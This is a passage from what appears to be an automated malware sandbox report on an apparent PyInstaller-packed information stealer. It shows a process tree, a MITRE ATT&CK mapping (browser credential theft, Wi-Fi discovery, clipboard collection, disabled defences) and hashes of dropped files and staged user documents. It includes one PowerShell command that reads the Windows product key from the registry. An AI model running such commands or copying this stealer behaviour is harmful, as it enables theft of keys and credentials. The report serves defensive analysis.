                            powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                            4⤵
                            • Suspicious behavior: EnumeratesProcesses
                            PID:1228
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k GPSvcGroup
                      1⤵
                        PID:2636
                      • C:\Windows\system32\sihost.exe
                        sihost.exe
                        1⤵
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of WriteProcessMemory
                        PID:4580
                        • C:\Windows\explorer.exe
                          explorer.exe /LOADSAVEDWINDOWS
                          2⤵
                          • Boot or Logon Autostart Execution: Active Setup
                          • Enumerates connected drives
                          • Checks SCSI registry key(s)
                          • Modifies Internet Explorer settings
                          • Modifies registry class
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of SendNotifyMessage
                          • Suspicious use of SetWindowsHookEx
                          PID:804
                      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                        1⤵
                        • Modifies registry class
                        • Suspicious use of SetWindowsHookEx
                        PID:4912
                      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                        1⤵
                        • Modifies registry class
                        • Suspicious use of SetWindowsHookEx
                        PID:252

                      Network

                            MITRE ATT&CK Enterprise v16

                            Reconnaissance

                            Resource Development

                            Initial Access

                            Execution

                            Command and Scripting Interpreter

                            2
                            T1059

                            PowerShell

                            1
                            T1059.001

                            Persistence

                            Boot or Logon Autostart Execution

                            1
                            T1547

                            Active Setup

                            1
                            T1547.014

                            Event Triggered Execution

                            1
                            T1546

                            Netsh Helper DLL

                            1
                            T1546.007

                            Privilege Escalation

                            Boot or Logon Autostart Execution

                            1
                            T1547

                            Active Setup

                            1
                            T1547.014

                            Event Triggered Execution

                            1
                            T1546

                            Netsh Helper DLL

                            1
                            T1546.007

                            Defense Evasion

                            Impair Defenses

                            2
                            T1562

                            Disable or Modify Tools

                            1
                            T1562.001

                            Modify Registry

                            2
                            T1112

                            Obfuscated Files or Information

                            1
                            T1027

                            Command Obfuscation

                            1
                            T1027.010

                            Credential Access

                            Credentials from Password Stores

                            1
                            T1555

                            Credentials from Web Browsers

                            1
                            T1555.003

                            Unsecured Credentials

                            1
                            T1552

                            Credentials In Files

                            1
                            T1552.001

                            Discovery

                            Browser Information Discovery

                            1
                            T1217

                            Peripheral Device Discovery

                            2
                            T1120

                            Process Discovery

                            1
                            T1057

                            Query Registry

                            3
                            T1012

                            System Information Discovery

                            5
                            T1082

                            System Network Configuration Discovery

                            1
                            T1016

                            Wi-Fi Discovery

                            1
                            T1016.002

                            Lateral Movement

                            Collection

                            Clipboard Data

                            1
                            T1115

                            Data from Local System

                            1
                            T1005

                            Command and Control

                            Web Service

                            1
                            T1102

                            Exfiltration

                            Impact

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 40f7c36bf32be8418d87fded803696439f2de6af43a5d5a4829848aaeba90787
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 e56f4a38e0c60f0196c589e1952198368a10927e65ff24d1476ffafc489657f4
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 58245b535bb164e85943800b4154e0128260c1a510da112294f1c53edfbfbf07
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 8532d10da0415e0bd924e7d2e4de10dcd12076374609e3243b2e757939fd1db5
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            prep_Activatable Class_Hermes_perf.cache
                            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                            • Size 595B
                            • SHA256 d4e60617c2afab8263febabe7f14f18595715078d71307a8cefe0707dae76dee
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            2whruasd.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\2whruasd\2whruasd.dll
                            • Size 4KB
                            • SHA256 29b35ee2fb02f6c6e4fee406a4b413f8a55eee6effb2512d4a79de887b9098ff
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            RES7788.tmp
                            • Path C:\Users\Admin\AppData\Local\Temp\RES7788.tmp
                            • Size 1KB
                            • SHA256 76f0e1c1d5c0cb7fcede5910a99a674aecbe83decba21a4abeaef5ae97648187
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            VCRUNTIME140.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI29162\VCRUNTIME140.dll
                            • Size 117KB
                            • SHA256 36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _bz2.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI29162\_bz2.pyd
                            • Size 49KB
                            • SHA256 43f812a27af7e3c6876db1005e0f4fb04db6af83a389e5f00b3f25a66f26eb80
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _ctypes.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI29162\_ctypes.pyd
                            • Size 63KB
                            • SHA256 1c0f9c3bdc53c2b24d5480858377883a002eb2ebb57769d30649868bfb191998
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _hashlib.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI29162\_hashlib.pyd
                            • Size 36KB
                            • SHA256 a9f24ad79a3d2a71b07f93cd56fc71958109f0d1b79eebf703c9ed3ac76525ff
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _lzma.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI29162\_lzma.pyd
                            • Size 87KB
                            • SHA256 3e749f5fad4088a83ae3959825da82f91c44478b4eb74f92387ff50ff1b8647d
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _queue.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI29162\_queue.pyd
                            • Size 28KB
                            • SHA256 ef361936929b70ef85e070ed89e55cbda7837441acafeea7ef7a0bb66addeec6
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _socket.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI29162\_socket.pyd
                            • Size 45KB
                            • SHA256 4ecd63f5f111d97c2834000ff5605fac61f544e949a0d470aaa467abc10b549c
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _sqlite3.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI29162\_sqlite3.pyd
                            • Size 59KB
                            • SHA256 67a887d3e45c8836f8466dc32b1bb8d64c438f24914f9410bc52b02003712443
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _ssl.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI29162\_ssl.pyd
                            • Size 68KB
                            • SHA256 67ed13570c5376cd4368ea1e4c762183629537f13504db59d1d561385111fe0a
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            base_library.zip
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI29162\base_library.zip
                            • Size 1.3MB
                            • SHA256 0b06910911303be8d00c8c827f41e1a3107ab7cde5b3ca63e2fac2506d9af49f
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            blank.aes
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI29162\blank.aes
                            • Size 108KB
                            • SHA256 b7dccf0868cf1509d2f0a5c5b25b477da21464a2a71c6a865603037c30c52f17
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            libcrypto-3.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI29162\libcrypto-3.dll
                            • Size 1.6MB
                            • SHA256 88e8aa1c816e9f03a3b589c7028319ef456f72adb86c9ddca346258b6b30402d
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            libffi-8.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI29162\libffi-8.dll
                            • Size 29KB
                            • SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            libssl-3.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI29162\libssl-3.dll
                            • Size 221KB
                            • SHA256 3cc6828e7047c6a7eff517aa434403ea42128c8595bf44126765b38200b87ce4
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            python313.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI29162\python313.dll
                            • Size 1.8MB
                            • SHA256 09693bab682495b01de8a24c435ca5900e11d2d0f4f0807dae278b3a94770889
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            rar.exe
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI29162\rar.exe
                            • Size 615KB
                            • SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            rarreg.key
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI29162\rarreg.key
                            • Size 456B
                            • SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            select.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI29162\select.pyd
                            • Size 26KB
                            • SHA256 adfdf84ff4639f8a921b78a2efce1b89265df2b512df05ce2859fc3cc6e33eff
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            sqlite3.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI29162\sqlite3.dll
                            • Size 645KB
                            • SHA256 36e1c70afc8ad8afe4a4f3ef4f133390484bca4ea76941cc55bac7e9df29eefd
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            unicodedata.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI29162\unicodedata.pyd
                            • Size 262KB
                            • SHA256 a2061ef4df5999ca0498bee2c7dd321359040b1acf08413c944d468969c27579
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            __PSScriptPolicyTest_513r3i2o.dya.ps1
                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_513r3i2o.dya.ps1
                            • Size 60B
                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            BackupRegister.ADTS
                            • Path C:\Users\Admin\AppData\Local\Temp\         ‍\Common Files\Desktop\BackupRegister.ADTS
                            • Size 363KB
                            • SHA256 fc4cbbca29a6713b41aec1bd2ae2fc860933b7d6cb4b274fd9f8da8b2583f82c
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            ImportConnect.xlsx
                            • Path C:\Users\Admin\AppData\Local\Temp\         ‍\Common Files\Desktop\ImportConnect.xlsx
                            • Size 15KB
                            • SHA256 ef1f18a35a284ada5dfc39cc3515df435898149808e5ea44da4d80c244cc5447
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            ConfirmClose.docx
                            • Path C:\Users\Admin\AppData\Local\Temp\         ‍\Common Files\Documents\ConfirmClose.docx
                            • Size 17KB
                            • SHA256 4e6583eb24c35679df4590f4abfcc3f729510791d634a5083714845a0053f1a9
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            InstallGroup.docx
                            • Path C:\Users\Admin\AppData\Local\Temp\         ‍\Common Files\Documents\InstallGroup.docx
                            • Size 12KB
                            • SHA256 f671a8faeb617c17038fcb2d5cd1c8c7e8a51dd29ac3fd89786de81727d89441
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            UninstallCompress.pdf
                            • Path C:\Users\Admin\AppData\Local\Temp\         ‍\Common Files\Documents\UninstallCompress.pdf
                            • Size 1.9MB
                            • SHA256 d029dd0cb260b35bb3a66d30c9319bff4868b19c4288ed29656265a197bfebf7
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            AddRead.xls
                            • Path C:\Users\Admin\AppData\Local\Temp\         ‍\Common Files\Downloads\AddRead.xls
                            • Size 811KB
                            • SHA256 830371144374502c4ee23fceb68ae084374ce05b2e1743c03b0cd056950f563e
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            BackupResize.rtf
                            • Path C:\Users\Admin\AppData\Local\Temp\         ‍\Common Files\Downloads\BackupResize.rtf
                            • Size 975KB
                            • SHA256 106602c4bbb28c88a601d774151d2014fe5553125665f736915cc5d620c0a678
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            ConfirmSync.png
                            • Path C:\Users\Admin\AppData\Local\Temp\         ‍\Common Files\Downloads\ConfirmSync.png
                            • Size 1.1MB
                            • SHA256 b76affff29b3fdcc673ceb02323f0da89c3bc147ad03adcf3284ac066e61f022
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            ConvertFromBlock.png
                            • Path C:\Users\Admin\AppData\Local\Temp\         ‍\Common Files\Downloads\ConvertFromBlock.png
                            • Size 505KB
                            • SHA256 60b05dbcb08e7afe33ab5949c9878402cdd8291846631f89c31205503d6ea000
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            GrantCheckpoint.mp3
                            • Path C:\Users\Admin\AppData\Local\Temp\         ‍\Common Files\Downloads\GrantCheckpoint.mp3
                            • Size 834KB
                            • SHA256 7a36f56071ce762982e874c334d7470af8c2cb3d899df9c639cd9c7721fcd520
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            InitializeOut.png
                            • Path C:\Users\Admin\AppData\Local\Temp\         ‍\Common Files\Downloads\InitializeOut.png
                            • Size 669KB
                            • SHA256 e53ca761645d4c0324d9c79d083cdb3a7eb5e0190aead3ae291e6ea79dad01c1
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            LimitEnable.jpeg
                            • Path C:\Users\Admin\AppData\Local\Temp\         ‍\Common Files\Downloads\LimitEnable.jpeg
                            • Size 434KB
                            • SHA256 01d94745727c959d4cab08f111e501b659e85d99b581048e2923d20397a92092
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            BackupUpdate.m1v
                            • Path C:\Users\Admin\AppData\Local\Temp\         ‍\Common Files\Music\BackupUpdate.m1v
                            • Size 323KB
                            • SHA256 a949bbdc533e5a04b687bb793775cdae90c6dbf05f380dcfad88efe238ac2d40
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            PingGroup.mp4
                            • Path C:\Users\Admin\AppData\Local\Temp\         ‍\Common Files\Music\PingGroup.mp4
                            • Size 684KB
                            • SHA256 7839014fcaea0aa72a6e70b954b8c97a367bbcde75011d9ca71e0b052ad2c3ed
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            AddSuspend.png
                            • Path C:\Users\Admin\AppData\Local\Temp\         ‍\Common Files\Pictures\AddSuspend.png
                            • Size 532KB
                            • SHA256 59ab9788cf5f42c95dc8c8534fdecd7f3fa51ab203a00c22b4c3ce70f397a2b9
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            NewCompress.png
                            • Path C:\Users\Admin\AppData\Local\Temp\         ‍\Common Files\Pictures\NewCompress.png
                            • Size 360KB
                            • SHA256 8f6a50972adf4e9fa0f0a623fbe6213bd3a855a45edf6c95f32821ef2a92010a
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            RemoveDebug.png
                            • Path C:\Users\Admin\AppData\Local\Temp\         ‍\Common Files\Pictures\RemoveDebug.png
                            • Size 611KB
                            • SHA256 bac76dc2861463fe129ceb6f208c2c9e48039fa2f4a6193e050487e3e253fae6
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            2whruasd.0.cs
                            • Path \??\c:\Users\Admin\AppData\Local\Temp\2whruasd\2whruasd.0.cs
                            • Size 1004B
                            • SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            2whruasd.cmdline
                            • Path \??\c:\Users\Admin\AppData\Local\Temp\2whruasd\2whruasd.cmdline
                            • Size 607B
                            • SHA256 16e2646c01cf96b6a30ca360cd3ca6cb150935a2780c265f03f5ee717bc9d922
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            CSC6D718EC32405410093ED950973B60A.TMP
                            • Path \??\c:\Users\Admin\AppData\Local\Temp\2whruasd\CSC6D718EC32405410093ED950973B60A.TMP
                            • Size 652B
                            • SHA256 a50f91fbf9cb716431c8c24a938b647cab3efece45f8bf403ec1624b5312b478
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            memory/1096-146-0x000002877EBE0000-0x000002877EBE8000-memory.dmp
                            Download

                            memory/1484-109-0x0000025E76D90000-0x0000025E76DAE000-memory.dmp
                            Download

                            memory/1484-115-0x0000025E76E70000-0x0000025E76E7A000-memory.dmp
                            Download

                            memory/1484-82-0x0000025E76AF0000-0x0000025E76B12000-memory.dmp
                            Download

                            memory/1484-110-0x0000025E76DB0000-0x0000025E76E62000-memory.dmp
                            Download

                            memory/3384-39-0x00007FF80FB50000-0x00007FF80FB7B000-memory.dmp
                            Download

                            memory/3384-66-0x00007FF803EF0000-0x00007FF804423000-memory.dmp
                            Download

                            memory/3384-163-0x000001AC2B110000-0x000001AC2B643000-memory.dmp
                            Download

                            memory/3384-166-0x00007FFFF4D00000-0x00007FFFF5365000-memory.dmp
                            Download

                            memory/3384-156-0x00007FF80B9C0000-0x00007FF80BA8E000-memory.dmp
                            Download

                            memory/3384-77-0x00007FF80F5F0000-0x00007FF80F76F000-memory.dmp
                            Download

                            memory/3384-78-0x00007FF80B900000-0x00007FF80B9B3000-memory.dmp
                            Download

                            memory/3384-73-0x00007FF80F770000-0x00007FF80F795000-memory.dmp
                            Download

                            memory/3384-74-0x00007FF80F5C0000-0x00007FF80F5CD000-memory.dmp
                            Download

                            memory/3384-71-0x00007FF80F5D0000-0x00007FF80F5E4000-memory.dmp
                            Download

                            memory/3384-65-0x00007FF811670000-0x00007FF811697000-memory.dmp
                            Download

                            memory/3384-67-0x000001AC2B110000-0x000001AC2B643000-memory.dmp
                            Download

                            memory/3384-30-0x00007FF811670000-0x00007FF811697000-memory.dmp
                            Download

                            memory/3384-61-0x00007FFFF4D00000-0x00007FFFF5365000-memory.dmp
                            Download

                            memory/3384-62-0x00007FF80B9C0000-0x00007FF80BA8E000-memory.dmp
                            Download

                            memory/3384-58-0x00007FF80BA90000-0x00007FF80BAC3000-memory.dmp
                            Download

                            memory/3384-53-0x00007FF80FB30000-0x00007FF80FB49000-memory.dmp
                            Download

                            memory/3384-54-0x00007FF811650000-0x00007FF81165D000-memory.dmp
                            Download

                            memory/3384-48-0x00007FF80F5F0000-0x00007FF80F76F000-memory.dmp
                            Download

                            memory/3384-46-0x00007FF80F770000-0x00007FF80F795000-memory.dmp
                            Download

                            memory/3384-138-0x00007FF80BA90000-0x00007FF80BAC3000-memory.dmp
                            Download

                            memory/3384-36-0x00007FF80FB80000-0x00007FF80FB99000-memory.dmp
                            Download

                            memory/3384-162-0x00007FF803EF0000-0x00007FF804423000-memory.dmp
                            Download

                            memory/3384-32-0x00007FF811660000-0x00007FF81166F000-memory.dmp
                            Download

                            memory/3384-250-0x00007FF80BA90000-0x00007FF80BAC3000-memory.dmp
                            Download

                            memory/3384-251-0x00007FF80B9C0000-0x00007FF80BA8E000-memory.dmp
                            Download

                            memory/3384-247-0x00007FF80F5F0000-0x00007FF80F76F000-memory.dmp
                            Download

                            memory/3384-255-0x00007FF80B900000-0x00007FF80B9B3000-memory.dmp
                            Download

                            memory/3384-252-0x00007FF803EF0000-0x00007FF804423000-memory.dmp
                            Download

                            memory/3384-254-0x00007FF80F5C0000-0x00007FF80F5CD000-memory.dmp
                            Download

                            memory/3384-253-0x00007FF80F5D0000-0x00007FF80F5E4000-memory.dmp
                            Download

                            memory/3384-245-0x00007FF80FB50000-0x00007FF80FB7B000-memory.dmp
                            Download

                            memory/3384-256-0x000001AC2B110000-0x000001AC2B643000-memory.dmp
                            Download

                            memory/3384-249-0x00007FF811650000-0x00007FF81165D000-memory.dmp
                            Download

                            memory/3384-248-0x00007FF80FB30000-0x00007FF80FB49000-memory.dmp
                            Download

                            memory/3384-246-0x00007FF80F770000-0x00007FF80F795000-memory.dmp
                            Download

                            memory/3384-241-0x00007FFFF4D00000-0x00007FFFF5365000-memory.dmp
                            Download

                            memory/3384-242-0x00007FF811670000-0x00007FF811697000-memory.dmp
                            Download

                            memory/3384-244-0x00007FF80FB80000-0x00007FF80FB99000-memory.dmp
                            Download

                            memory/3384-243-0x00007FF811660000-0x00007FF81166F000-memory.dmp
                            Download

                            memory/3384-24-0x00007FFFF4D00000-0x00007FFFF5365000-memory.dmp
                            Download

                            memory/4912-272-0x00000198001E0000-0x00000198002E0000-memory.dmp
                            Download

                            memory/4912-299-0x0000019814140000-0x0000019814160000-memory.dmp
                            Download

                            memory/4912-271-0x00000198001E0000-0x00000198002E0000-memory.dmp
                            Download

                            memory/4912-285-0x0000019801C90000-0x0000019801CB0000-memory.dmp
                            Download

                            memory/4912-282-0x0000019801930000-0x0000019801950000-memory.dmp
                            Download

                            memory/4912-283-0x0000019801E70000-0x0000019801F70000-memory.dmp
                            Download